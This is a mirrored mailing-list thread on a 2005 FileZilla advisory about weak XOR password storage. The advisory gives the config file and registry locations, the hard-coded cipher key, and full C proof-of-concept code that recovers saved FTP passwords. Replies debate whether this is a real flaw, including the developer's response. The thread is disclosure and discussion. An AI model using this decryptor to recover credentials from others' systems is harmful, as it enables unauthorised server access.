Likes Likes:  0
Resultaten 1 tot 5 van de 5
Geen
  1. #1
    m123303@securityfocus.com, [#*at*#]@securityfocus.
    FileZilla weakly-encrypted password vulnerability: advisory + PoC
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    FileZilla weakly-encrypted password vulnerability: advisory + PoC

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    Title: FileZilla weakly-encrypted password vulnerability
    Risk: HIGH
    Credits: pagvac (Adrian Pastor)
    Date found: 6th August, 2005
    Homepage: www.ikwt.com
    www.adrianpv.com
    E-mail: m123303[ - at - ]richmond.ac.uk


    Background
    - -----------
    FileZilla is the most active and most downloaded open source FTP/SFTP
    client (according to www.SourceForge.org at time of writing).
    Currently
    there is only a Windows version of this client.

    For some stats visit:
    http://sourceforge.net/top/mostactive.php?type=week
    http://sourceforge.net/top/toplist.p...downloads_week

    The project page can be found at:
    http://sourceforge.net/projects/filezilla/

    This advisory plus PoC code and executable can be found in the
    following links:

    http://www.ikwt.com/projects/filezil...n-research.zip
    http://www.adrianpv.com/projects/fil...on-research.zi
    p

    Versions affected
    - -----------------
    This vulnerability has been successfully tested on versions 2.2.14b
    and 2.2.15. However, it is suspected that most previous versions are
    also affected.


    Vulnerability summary
    - ---------------------
    - - FileZilla client stores password using weak XOR "encryption"
    - - The value of the cipher key is static (it never changes) and can
    be found in the source code


    Description of vulnerability
    - ----------------------------
    FileZilla saves configuration settings in two different locations:

    - - in an XML file
    - - in the Windows registry

    The method used to save configuration settings depends on the
    preferences used by the user during the installation of
    FileZilla. Either way, all configuration settings are stored in
    cleartext, EXCEPT for the password. However, the password
    is stored using very weak XOR "encryption" which can be easily
    reversed.

    There exists a problem in the way the XOR encryption is implemented
    because the same cipher key is always used. This key is
    hard-coded, which means that anyone can analyze the source code of
    the application and find it. Of course, this wouldn't be
    so easy if FileZilla wasn't an open source application.

    Once the key is known, an attacker can use it to decrypt the password
    back to its cleartext form. Because the XOR cryptographic algorithm
    used
    is symmetric, the same key is used for both, encrypting and
    decrypting.

    As mentioned before, the rest of the configuration settings are all
    in cleartext. Some information that would be useful for an
    attacker includes hostname of the server to connect to, default port,
    and username.

    If successfully exploited, this vulnerability will allow an attacker
    to access FTP (or SFTP) servers with the privileges of the user whose
    configuration settings were stolen from.

    In practice, this vulnerability could be exploited after a machine
    has been compromised, or by fooling the user into executing malicious
    code. Such code could dump the configuration settings, decrypt the
    password/s
    and sends them all to the attacker.

    It is common to see many popular trojans out there that exploit weak
    encryption vulnerabilities of this type. These trojans
    dump the credentials of popular applications such as Internet
    Explorer, VNC or even dialup connections. FileZilla could be
    the next added application in the list of all those trojans with
    password-dumping features.

    This vulnerability is somehow similar to the one found by Conde
    Vampiro in VNC 3 back in 1999. It's similar because in both
    cases we find an open source application using a fixed cipher key to
    decrypt passwords. Thus, making trivial to find the key.

    For more information on Conde Vampiro's findings visit
    http://www.securiteam.com/securitynews/3P5QERFQ0Q.html


    Vulnerability details
    - ---------------------
    The XML configuration file is found at:

    %programfiles%\FileZilla\FileZilla.xml

    Where %programfiles% is the "program files" directory. This is
    usually "c:\program files" by default.

    The configuration settings are saved in the registry in:

    Hive: HKEY_CURRENT_USER
    Key: Software\FileZilla\Site Manager\[site_name]\

    Where [site_name] is the name given to the connection by the user.

    The password is saved in the previous key as a value with the
    following properties:
    Value: Pass
    Type: REG_SZ (string terminated in NULL)


    The cipher key can be found in Crypt.cpp and its value is:
    "FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ "


    Solution
    - --------
    Choose "Use secure mode" during the installation (this disables
    FileZilla from saving passwords), lockdown your client
    machines where the FileZilla client is installed, or update to a
    patched version which fixes this issue (if available).


    PoC Code
    - --------
    /*

    Filename: filezilla-pwdec.c
    Title: FileZilla Client - Weakly encrypted password exploit v0.01
    Author: pagvac (Adrian Pastor)
    Date: 8th August, 2005
    License: GPL
    email: m123303[-a-t-]richmond.ac.uk
    homepage: www.ikwt.com (In Knowledge We Trust)
    www.adrianpv.com

    Description: this tool asks the user for the "encrypted" password and
    computes the cleartext version of the password

    Other info: compile as a Win32 console application project in Visual
    C++

    Copyright (C) 2005 pagvac (Adrian Pastor)

    This program is free software; you can redistribute it and/or
    modify it under the terms of the GNU General Public License
    as published by the Free Software Foundation; either version 2
    of the License, or (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
    02110-1301, USA.

    */


    //Includes
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <windows.h>

    //Macros
    #define MAX_SIZE 150
    #define SLEEP_TIME 5000

    //Global variable (cypher key)
    char *m_key = "FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ ";


    //PRE: decimal values representing ASCII chars,
    // every three digits becomes one ASCII char
    // e.g.: 042040063063
    //POST: ASCII chars are copied back to buff[]
    // e.g.: *(??
    // the length of the new string is returned
    int digit2char(char buff[])
    {
    char tmp_buff[4], ascii_buff[MAX_SIZE];
    unsigned int i=0, j=0, n=0, len=(strlen(buff)/3);
    for(i=0,j=0;i<strlen(buff);i+=3,++j)
    {
    tmp_buff[0]=buff[i];
    tmp_buff[1]=buff[i+1];
    tmp_buff[2]=buff[i+2];
    tmp_buff[3]='\0';

    n=atoi(tmp_buff);
    ascii_buff[j]=(char)n;
    }
    ascii_buff[j]='\0';
    printf("ascii_buff:%s\n", ascii_buff);
    strcpy(buff, ascii_buff);

    return len;
    }

    //PRE: buffer containing ASCII chars of cypher
    // (rather than their numberic ASCII value)
    //POST:length of cleartext password is returned
    unsigned int decrypt(char buff[])
    {
    unsigned int i, pos, len;

    len=digit2char(buff);
    pos=len%strlen(m_key);

    for (i=0;i<len;i++)
    buff[i]=buff[i]^m_key[(i+pos)%strlen(m_key)];

    return len;
    }

    int main(void)
    {
    char cypher[MAX_SIZE];
    unsigned int len=0,i=0;

    printf("Enter cypher (encrypted password)\ne.g.:
    120125125112000\n->");
    scanf("%s", cypher);
    if(strlen(cypher)%3==0)
    {
    len=decrypt(cypher);
    printf("cleartext password:");
    for(i=0;i<len;++i)
    printf("%c",cypher[i]);
    printf("\n");
    }
    else
    {
    printf("You didn't enter a valid cypher!\n");
    printf("It should be a numeric value whose length is multiple of
    3\n");
    }

    printf("Ending program in %d seconds...\n", SLEEP_TIME/1000);
    Sleep(SLEEP_TIME);
    return 0;
    }

    -----BEGIN PGP SIGNATURE-----
    Version: PGP 8.1 - not licensed for commercial use: www.pgp.com

    iQA/AwUBQxho+LteQP8gtTAfEQI7JwCeNNjIc/wmQ8Dwbg6jjs0u/Iyh/GoAoJ24
    bq4jAqPwakzJk+rrAdpFaxr0
    =fWuP
    -----END PGP SIGNATURE-----

  2. #2
    Nick Boyce
    FileZilla weakly-encrypted password vulnerability: advisory + PoC
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: FileZilla weakly-encrypted password vulnerability: advisory + PoC

    On 2 Sep 2005 13:59:49 -0000, m123303[ - at - ]richmond.ac.uk wrote:

    > Vulnerability summary
    > - ---------------------

    [...]
    > There exists a problem in the way the XOR encryption is implemented
    > because the same cipher key is always used. This key is
    > hard-coded, which means that anyone can analyze the source code of
    > the application and find it. Of course, this wouldn't be
    > so easy if FileZilla wasn't an open source application.

    [...]

    Okay .. so (assuming that's a problem) what do you suggest is done by
    the FileZilla folks about this, given that we've already established
    ad nauseam that the best you can ever achieve in these circumstances
    is to obfuscate the key ?

    See http://marc.theaimsgroup.com/?l=3Dbu...10209243&w=3D2

    > Solution
    > - --------
    > Choose "Use secure mode" during the installation (this disables
    > FileZilla from saving passwords), lockdown your client
    > machines where the FileZilla client is installed,=20


    Well, duh ... I always do this with my FileZilla installations - don't
    you ? I keep precious passwords somewhere else much safer. That's
    /why/ the FileZilla installer warns you about this and suggests you
    use secure mode if you're on a multi-user (or otherwise untrustable)
    machine.

    Keeping passwords in the registry, or an XML file (or indeed anywhere
    at all that doesn't in turn require yet another password to access)
    can only ever be a convenience-vs-security trade-off. No matter how
    "strongly" you garble the password for storage, if the source code is
    available then it won't be long before someone works out how to
    ungarble it - and even if the source code is *not* released it won't
    slow the Bad Guys down much.

    > ... or update to a patched version which fixes this issue (if available).


    Um, how can the FileZilla folks patch the problem, without again
    releasing the source code of the "new improved" algorithm and/or key ?

    Cheers,

    Nick Boyce
    Bristol, UK

  3. #3
    medhead@flagmandesign.com
    FileZilla weakly-encrypted password vulnerability: advisory + PoC
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: FileZilla weakly-encrypted password vulnerability: advisory + PoC

    QUOTED FROM FILEZILLA FORUM POST: I AM IN NO WAY CONNECTED WITH FILEZILLA DEVELOPMENT, NOR DO I SPEAK ON BEHALF OF FILEZILLA. WHAT IS WRITTEN BELOW HAS BEEN COPIED FROM THE FILEZILLA FORUM POST.

    http://filezilla.sourceforge.net/for...pic.php?t=1328

    Preface: There is no know security vulnerability in FileZilla, the reported vulnerability is a hoax.

    Recently someone reported an alleged security vulnerabilty in FileZilla. But very quickly it became visible that the problem is not a vulnerability at all, but infact a fundamental issue of every single program that can store passwords transparently.
    Despite my reply the vulnerabilty got releases to several security sites. Someone even posted some sort of exploit: Sourcecode that decrypts the stored passwords of FileZilla. But how could this be an exploit? In order to connect to a server with the encr
    ypted passwords, FileZilla itself has to decrypt it. And since FileZilla is open source (basically every single program is, just look at the machine code), everyone can decrypt the passwords with little effort.

    The used encryption method to store the passwords is a very simple algorithm. It hasn't been designed to be cryptographically strong, it shouls just obscure passwords.
    In fact it is impossible to transparently store passwords securly, see below for reasons.

    So since the vulnerabilty report got released despite my explanations, I can only assume that the author has either very little experience or, what I don't hope, this is an attempt to discredit FileZilla.

    --------

    FILEZILLA DEVELOPER REPLIES TO ORIGINAL EMAIL

    --------

    Hi,

    thanks for your concern about FileZilla. I would like to clarify that
    this is not a security vulnerabilty. The password encryption has never
    been designed to be secure, it's just meant to obfuscate the password.

    In order to use the stored passwords, FileZilla itself has to be able to
    decrypt the passwords, for this it needs the encryption key to be stored
    along with the encrypted passwords. In this case the key is stored
    inside the executable.
    This is no different than with any other program that can store
    passwords transparently: It's never secure and can always be cracked
    with very little effort. This is especially true for open source
    software where everyone can inspect the encryption code.

    But there are a few ways to store passwords in a secure. I'll add a few
    comments on all of them

    1. Don't save passwords at all. Implemented in FileZilla, chose "Secure
    mode" during setup.
    2. Don't store the password itself, store hashes. This won't work for
    FTP as FTP needs to send original passwords and hashes aren't reversible.
    3. Encrypt settings using a master password, don't save the master
    password at all, request it from the user on startup. Not implemented in
    FileZilla, partially because of
    4. Use the tools the operating system provides to protect data, that is
    access rights and file encryption. Though obviously the user has to
    setup this for himself.

    Thus said, for FileZilla 3 I even plan to omit password obfuscation by
    default. Transparent password storage is equally secure when passwords
    are stored in plaintext.

    Regards,
    Tim Kosse

  4. #4
    Mark Senior
    FileZilla weakly-encrypted password vulnerability: advisory + PoC
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    RE: FileZilla weakly-encrypted password vulnerability: advisory + PoC

    I understand that you're not necessarily endorsing the developer's
    stance, so please take no offence.

    The below posting is evidence that the FileZilla developers are infected
    with a DOS mentality - the assumption that every computer will be used
    by only one person.

    The developer is being disingenuous when he lists:

    > 3. Encrypt settings using a master password, don't save the=20
    > master password at all, request it from the user on startup.=20
    > Not implemented in FileZilla, partially because of
    > 4. Use the tools the operating system provides to protect=20
    > data, that is access rights and file encryption. Though=20
    > obviously the user has to setup this for himself.


    In fact, the user doesn't have to set up 4. for himself - the OS has
    already set up ACLs for his home directory on his behalf. The user may
    even have set up encryption for his home directory too. Having done
    this, a user should be able to assume that he has done his bit, and his
    programs won't go littering his passwords all over the filesystem and
    the registry.

    The correct place for a file that contains a user's passwords in
    plaintext (obfuscated or not) is under the user's home directory, which
    is already protected by filesystem ACLs. Writing a user-specific XML
    file in a globally accessible directory is actually actively avoiding
    the tools the operating system provides. Putting the file under
    %PROGRAMFILES%\FileZilla\ (and correspondingly requiring that every user
    have write access to that folder - effectively requiring that the
    program be run as a local admin) is just dumb.

    As for point 3. it's not a bad idea either, and could perhaps be
    usefully be done in addition to 4. (a la PasswordSafe)

    Regards
    Mark


    > -----Original Message-----
    > From: medhead@flagmandesign.com [mailto:medhead@flagmandesign.com]=20
    > Sent: September 4, 2005 00:59
    > To: bugtraq@securityfocus.com
    > Subject: Re: FileZilla weakly-encrypted password=20
    > vulnerability: advisory + PoC
    >=20
    > QUOTED FROM FILEZILLA FORUM POST: I AM IN NO WAY CONNECTED=20
    > WITH FILEZILLA DEVELOPMENT, NOR DO I SPEAK ON BEHALF OF=20
    > FILEZILLA. WHAT IS WRITTEN BELOW HAS BEEN COPIED FROM THE=20
    > FILEZILLA FORUM POST.
    >=20
    > http://filezilla.sourceforge.net/for...c.php?t=3D1328
    >=20
    > Preface: There is no know security vulnerability in=20
    > FileZilla, the reported vulnerability is a hoax.
    >=20
    > Recently someone reported an alleged security vulnerabilty in=20
    > FileZilla. But very quickly it became visible that the=20
    > problem is not a vulnerability at all, but infact a=20
    > fundamental issue of every single program that can store=20
    > passwords transparently.
    > Despite my reply the vulnerabilty got releases to several=20
    > security sites. Someone even posted some sort of exploit:=20
    > Sourcecode that decrypts the stored passwords of FileZilla.=20
    > But how could this be an exploit? In order to connect to a=20
    > server with the encrypted passwords, FileZilla itself has to=20
    > decrypt it. And since FileZilla is open source (basically=20
    > every single program is, just look at the machine code),=20
    > everyone can decrypt the passwords with little effort.
    >=20
    > The used encryption method to store the passwords is a very=20
    > simple algorithm. It hasn't been designed to be=20
    > cryptographically strong, it shouls just obscure passwords.
    > In fact it is impossible to transparently store passwords=20
    > securly, see below for reasons.
    >=20
    > So since the vulnerabilty report got released despite my=20
    > explanations, I can only assume that the author has either=20
    > very little experience or, what I don't hope, this is an=20
    > attempt to discredit FileZilla.
    >=20
    > --------
    >=20
    > FILEZILLA DEVELOPER REPLIES TO ORIGINAL EMAIL
    >=20
    > --------
    >=20
    > Hi,
    >=20
    > thanks for your concern about FileZilla. I would like to=20
    > clarify that this is not a security vulnerabilty. The=20
    > password encryption has never been designed to be secure,=20
    > it's just meant to obfuscate the password.
    >=20
    > In order to use the stored passwords, FileZilla itself has to=20
    > be able to decrypt the passwords, for this it needs the=20
    > encryption key to be stored along with the encrypted=20
    > passwords. In this case the key is stored inside the executable.
    > This is no different than with any other program that can=20
    > store passwords transparently: It's never secure and can=20
    > always be cracked with very little effort. This is especially=20
    > true for open source software where everyone can inspect the=20
    > encryption code.
    >=20
    > But there are a few ways to store passwords in a secure. I'll=20
    > add a few comments on all of them
    >=20
    > 1. Don't save passwords at all. Implemented in FileZilla,=20
    > chose "Secure mode" during setup.
    > 2. Don't store the password itself, store hashes. This won't=20
    > work for FTP as FTP needs to send original passwords and=20
    > hashes aren't reversible.
    > 3. Encrypt settings using a master password, don't save the=20
    > master password at all, request it from the user on startup.=20
    > Not implemented in FileZilla, partially because of 4. Use the=20
    > tools the operating system provides to protect data, that is=20
    > access rights and file encryption. Though obviously the user=20
    > has to setup this for himself.
    >=20
    > Thus said, for FileZilla 3 I even plan to omit password=20
    > obfuscation by default. Transparent password storage is=20
    > equally secure when passwords are stored in plaintext.
    >=20
    > Regards,
    > Tim Kosse
    >=20


    This email and any files transmitted with it are confidential and intende=
    d solely for the use of the individual or entity to whom they are address=
    ed. If you have received this email in error please notify the system man=
    ager. This message contains confidential information and is intended only=
    for the individual named. If you are not the named addressee you should =
    not disseminate, distribute or copy this e-mail.


    This email and any files transmitted with it are confidential and intende=
    d solely for the use of the individual or entity to whom they are address=
    ed. If you have received this email in error please notify the system man=
    ager. This message contains confidential information and is intended only=
    for the individual named. If you are not the named addressee you should =
    not disseminate, distribute or copy this e-mail.


  5. #5
    MacIntyre, Lawrence Paul
    FileZilla weakly-encrypted password vulnerability: advisory + PoC
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    RE: FileZilla weakly-encrypted password vulnerability: advisory + PoC

    How hard would it be to use a passphrase to encrypt the passwords?

    -----Original Message-----
    From: Nick Boyce [mailto:nick.boyce@gmail.com]=20
    Sent: Monday, September 05, 2005 12:57 PM
    To: bugtraq@securityfocus.com
    Subject: Re: FileZilla weakly-encrypted password vulnerability: advisory
    + PoC

    On 2 Sep 2005 13:59:49 -0000, m123303[ - at - ]richmond.ac.uk wrote:

    > Vulnerability summary
    > - ---------------------

    [...]
    > There exists a problem in the way the XOR encryption is implemented
    > because the same cipher key is always used. This key is
    > hard-coded, which means that anyone can analyze the source code of
    > the application and find it. Of course, this wouldn't be
    > so easy if FileZilla wasn't an open source application.

    [...]

    Okay .. so (assuming that's a problem) what do you suggest is done by
    the FileZilla folks about this, given that we've already established
    ad nauseam that the best you can ever achieve in these circumstances
    is to obfuscate the key ?

    See http://marc.theaimsgroup.com/?l=3Dbu...10209243&w=3D2

    > Solution
    > - --------
    > Choose "Use secure mode" during the installation (this disables
    > FileZilla from saving passwords), lockdown your client
    > machines where the FileZilla client is installed,=20


    Well, duh ... I always do this with my FileZilla installations - don't
    you ? I keep precious passwords somewhere else much safer. That's
    /why/ the FileZilla installer warns you about this and suggests you
    use secure mode if you're on a multi-user (or otherwise untrustable)
    machine.

    Keeping passwords in the registry, or an XML file (or indeed anywhere
    at all that doesn't in turn require yet another password to access)
    can only ever be a convenience-vs-security trade-off. No matter how
    "strongly" you garble the password for storage, if the source code is
    available then it won't be long before someone works out how to
    ungarble it - and even if the source code is *not* released it won't
    slow the Bad Guys down much.

    > ... or update to a patched version which fixes this issue (if

    available).

    Um, how can the FileZilla folks patch the problem, without again
    releasing the source code of the "new improved" algorithm and/or key ?

    Cheers,

    Nick Boyce
    Bristol, UK

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics